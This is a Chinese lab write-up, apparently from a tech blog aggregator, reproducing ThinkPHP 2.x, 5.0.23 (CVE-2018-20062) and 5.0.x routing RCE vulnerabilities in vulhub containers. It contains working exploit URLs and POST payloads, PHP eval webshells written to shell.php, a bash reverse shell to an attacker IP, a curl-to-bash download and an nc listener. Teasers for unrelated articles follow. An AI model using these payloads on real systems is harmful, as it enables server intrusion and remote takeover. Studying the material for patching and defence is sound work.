ThinkPHP历史漏洞

news2024/11/18 5:59:46

文章目录

  • ThinkPHP简介
  • Thinkphp历史漏洞
  • Thinkphp 2.x 任意代码执行漏洞
    • 漏洞描述
    • 影响版本
    • 漏洞复现
  • Thinkphp5.0.23远程代码执行漏洞(CVE-2018-20062)
    • 漏洞描述
    • 影响版本
    • 漏洞复现
  • ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析(CNVD-2018-24942)
    • 漏洞描述
    • 影响版本
    • 漏洞复现

ThinkPHP简介

Thinkphp 是一种开源框架。是一个由国人开发的支持windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp开发的网站。

Thinkphp历史漏洞

版本漏洞类型
ThinkPHP3.2.3缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.3最新版update注入漏洞
ThinkPHP3.2.Xfind_select_delete注入
ThinkPHP3.Xorder_by注入漏洞
ThinkPHP5.0.Xsql注入漏洞
ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
ThinkPHP5SQL注入漏洞&&敏感信息泄露
ThinkPHP5.Xorder_by注入漏洞
ThinkPHP5.X远程代码执行

Thinkphp 2.x 任意代码执行漏洞

漏洞描述

漏洞产生的原因是因为ThinkPHP 2.x版本中,使用preg_replace (‘正则规则’,‘替换字符’,‘目标字符’)的/e(可执行模式)模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

影响版本

ThinkPHP 2.x

ThinkPHP 3.0

漏洞复现

vulhub

docker-compose up -d

docker ps

访问靶场地址 http://yourip:8080

使用POC验证漏洞

http://192.168.88.130:8080/index.php?s=/index/index/xxx/${@phpinfo()}

phpinfo被执行成功,那么试一试webshell

http://192.168.88.130:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}}

蚁剑连接

Thinkphp5.0.23远程代码执行漏洞(CVE-2018-20062)

漏洞描述

ThinkPHP5.0.23版本的漏洞:获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

Thinkphp 5.0.0~ 5.0.23

漏洞复现

vulhub

docker-compose up -d

docker ps

访问靶场地址

判断是否存在漏洞,访问/index.php?s=captcha页面,会出现报错

利用post请求,执行whoami命令,id,pwd等系统命令,都会回显到页面上来

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

使用echo命令写入webshell,需要将一句话木马进行base64编码

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n
YWE8P3BocCBAZXZhbCgkX1BPU1RbJ2NtZCddKTs/PmM= | base64 -d > shell.php

发送post请求,访问shell.php 文件

进入服务端查看是否上传成功

bash反弹shell操作

在攻击机新建一个xx.sh文件,写入bash反弹shell的命令。

bash -i >& /dev/tcp/192.168.88.128/6666 0>&1

#IP为攻击机的ip,端口自定义

攻击机上开启http服务保证,目标机器可以访问到xx.sh反弹shell文件

python3 -m http.server 80

攻击机开启监听6666端口

nc -lvvp 6666

使用post请求,发送以下poc

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.88.128/thinkphp5.0.23.sh | bash

查看监听端口,发现成功反弹

ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析(CNVD-2018-24942)

漏洞描述

框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。

影响版本

ThinkPHP 5.0.5-5.0.22
5.1.0-5.1.30

漏洞复现

vulhub


docker-compose up -d 

docker ps

访问靶场,即可搭建成功

写入POC

index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1

远程命令执行,POC

/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&v
ars[1][]=whoami

写入webshell

/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>

/index.php?
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n
bash反弹shell命令得base64编码 | base64 -d > shell9.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/128643.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023元旦假期值得关注的空投与埋伏任务

不知不觉2023年元旦即将到来&#xff0c;这也是十一国庆之后大家迎来的第一次小假期&#xff0c;相信不少人已经开始“家里蹲”计划&#xff0c;不少项目方也最近搞了一些空投任务&#xff0c;刚好趁此时间也能刷空投&#xff0c;获得意外惊喜&#xff0c;这里我们为大家总结最…

【redis有序集合操作】

【zcount&#xff1a;统计有序集合分数区间内的成员数量】 zadd user_login 1 one zadd user_login 3 two zadd user_login 4 three zadd user_login 5 four ZCOUNT 返回有序集 key 中&#xff0c; score 值在 min 和 max 之间(默认包括 score 值等于 min 或 max )的成员的数量…

socket套接字

欢迎关注博主 Mindtechnist 或加入【Linux C/C/Python社区】一起探讨和分享Linux C/C/Python/Shell编程、机器人技术、机器学习、机器视觉、嵌入式AI相关领域的知识和技术。 socket套接字1. 什么是socket套接字2. socket编程3. 网络字节序4. IP地址转换函数5. sockaddr数据结构…

【答学员问】服务器上安装好LAMP架构,部署wordpress之后网页端无法访问

文章目录问题反馈问题排查1. 首先是IP&#xff1a; 确认无误&#xff1a;2. 安装一下 php看看是否安装&#xff1a;3. 最后测试PHP是否能够解析再次沟通分析整理列清单排查测试过程1. 上传包解压2. 安装好LAMP架构并测试是否支持php3. 测试是否可以访问wordpress4. 查看日志排查…

Maven是怎么样构建Spring Boot项目的?

准备好项目运行所需的环境后&#xff0c;就可以使用IDEA开发工具搭建一个Spring Boot入门程序了。我们既可以使用Maven方式构建项目&#xff0c;也可以使用Spring Initializr快捷方式构建项目。这里先介绍如何使用Maven方式构建Spring Boot项目&#xff0c;具体步骤如下。 1.初…

SpringBoot+VUE前后端分离项目学习笔记 - 【06 SpringBoot集成Mybatis实现数据查询】

配置文件改成yaml格式&#xff1a; application.yml server:port: 9090spring:datasource:driver-class-name: com.mysql.cj.jdbc.Driverurl: jdbc:mysql://localhost:3306/joyce?serverTimezoneGMT%2b8username: rootpassword: 123456写基本的功能来验证后台数据查询功能 …

了解初级测试人员从测试自动化开始需要什么?

文章目录 前言 将测试自动化视为软件开发 选择一种编程语言开始 学习干净的代码实践和原则 了解自动化中有用的设计模式 学习干净的代码实践和原则 学习网络工作原理的基础知识 选择一个 UI 自动化工具开始 了解 HTTP 协议以及如何自动化 API 测试 熟悉数据库基础知识…

React 配置文件(三)配置本地IP地址和端口号

1.在环境变量中配置好对应IP地址和端口号,拿UAT来举例 2.在config-overrides.js中配置域名和端口号 3.在package.json中配置好启动脚本 "scripts": { "start": "react-app-rewired start", "uat": "dotenv -e .env.uat react-app…

Android之蚂蚁森林能量水滴效果

最近公司有个需求&#xff0c;需要一个类似于蚂蚁森林能量水滴浮动效果&#xff0c;所以有了这篇文章&#xff0c;目前在项目里&#xff0c;没时间提出来做demo&#xff0c;有代码欠缺的地方欢迎指出&#xff0c;一定补上。 文章目录一&#xff1a;效果图二&#xff1a;具体实现…

HotPDF Delphi PDF VCL完全形成PDF文档

HotPDF Delphi PDF VCL完全形成PDF文档 HotPDF Delphi PDF&#xff0c;用于创建和创建PDF文档的应用程序名称。您的公司已在您之前发布&#xff0c;以便在Delphi和C中使用。事实上&#xff0c;使用这个库&#xff0c;您将能够以不同的方式编辑、执行、构建和管理PDF文档。如果您…

configmap中data变成字符串问题(k8s踩坑)

发现问题 编写text文件&#xff0c;用于创建要给nginx的configmap&#xff0c;如下&#xff1a; [rootmaster redis]# vim txt apiVersion: v1 kind: ConfigMap metadata:name: nginx-confignamespace: redis data:nginx.conf: |#user nginx;worker_processes 1;#error_log…

【pandas】教程:4-显示数据

Pandas 显示数据 本节使用的数据为 data/air_quality_no2.csv&#xff0c;链接为 pandas案例和教程所使用的数据-机器学习文档类资源-CSDN文库 import pandas as pd import matplotlib.pyplot as pltair_quality pd.read_csv("data/air_quality_no2.csv", index_co…

知物由学 | SO VMP 加壳与混淆,为移动应用提供函数级保护

导读&#xff1a;VMP 是一种用于软件保护的软件&#xff0c;对软件进行加壳&#xff0c;加固厂商都有自己的 VMP 方案&#xff0c;但值得注意的是&#xff0c;native 层的 VMP 方案并不成熟&#xff0c;兼容性只是其中一个影响因素&#xff0c;性能更是导致该方案无法普及的重要…

2022年广西最新建筑八大员(材料员)模拟真题及答案

百分百题库提供建筑八大员&#xff08;材料员&#xff09;考试试题、建筑八大员&#xff08;材料员&#xff09;考试预测题、建筑八大员&#xff08;材料员&#xff09;考试真题、建筑八大员&#xff08;材料员&#xff09;证考试题库等,提供在线做题刷题&#xff0c;在线模拟考…

C++仍然是2023年值得学习的好语言吗?

如今所有学习C的人都不得不面临一个问题&#xff0c;即C已经大大失去了它受欢迎程度。它同时被三种编程语言所取代 - python&#xff0c;Java和JavaScript。这就引出了一个问题&#xff0c;2023年是否还值得学习C&#xff1f; 如果您学习C是为了在IT领域工作&#xff0c;那么学…

系分 - 软件工程

个人总结&#xff0c;仅供参考&#xff0c;欢迎加好友一起讨论 系分 - 软件工程 考点摘要 信息/软件系统的生命周期&#xff08;★★&#xff09;软件开发方法&#xff08;★★★&#xff09;软件开发模型&#xff08;★★★★&#xff09;逆向工程&#xff08;★&#xff09…

一步一步改写Observer观察者模式

简单的概述&#xff1a; Observer模式是建立一个一&#xff08;Subject&#xff09;对多&#xff08;Observer&#xff09;的依赖关系&#xff0c;并且做到当“一”变化的时候&#xff0c;依赖这个“一”的多也能够同步自动改变。 Observer的结构&#xff1a; Subject相当于…

H5 拖动排序 美食排行榜

尝试写一下拖动元素进行排序&#xff0c;真是想到什么去写什么 &#x1f602;&#xff0c;有的时候很多人老是跟我说&#xff0c;别人都封装好了&#xff0c;你为什么还要自己去实现一下&#xff0c;写的还没别人好。但我总感觉所有都用别人写好的&#xff0c;就放弃思考的机会…

linux的CPU使用率达到100%的快速定位方式

一.问题现象 Linux服务器&#xff08;操作系统版本是centos7.9&#xff09;上面部署了若干Java站点服务,突然收到运维的CPU异常g告警&#xff0c;到了影响业务的情况发生&#xff0c;经初步排查&#xff0c;未出现异常进程&#xff0c;排除挖矿病毒的原因。 二.排查思路 &am…

[Verilog]Verilog经典电路设计(一)

Verilog经典电路设计&#xff08;一&#xff09; 1.1 8位移位寄存器 module shifter (din , clk, clr, dout) ; input din, clk, clr; output [7:0] dout; reg [7:0] dout_data;always (posedge clk) begin if (!clr) dout_data < 8b0; //同步清 &#xff0c;高电平…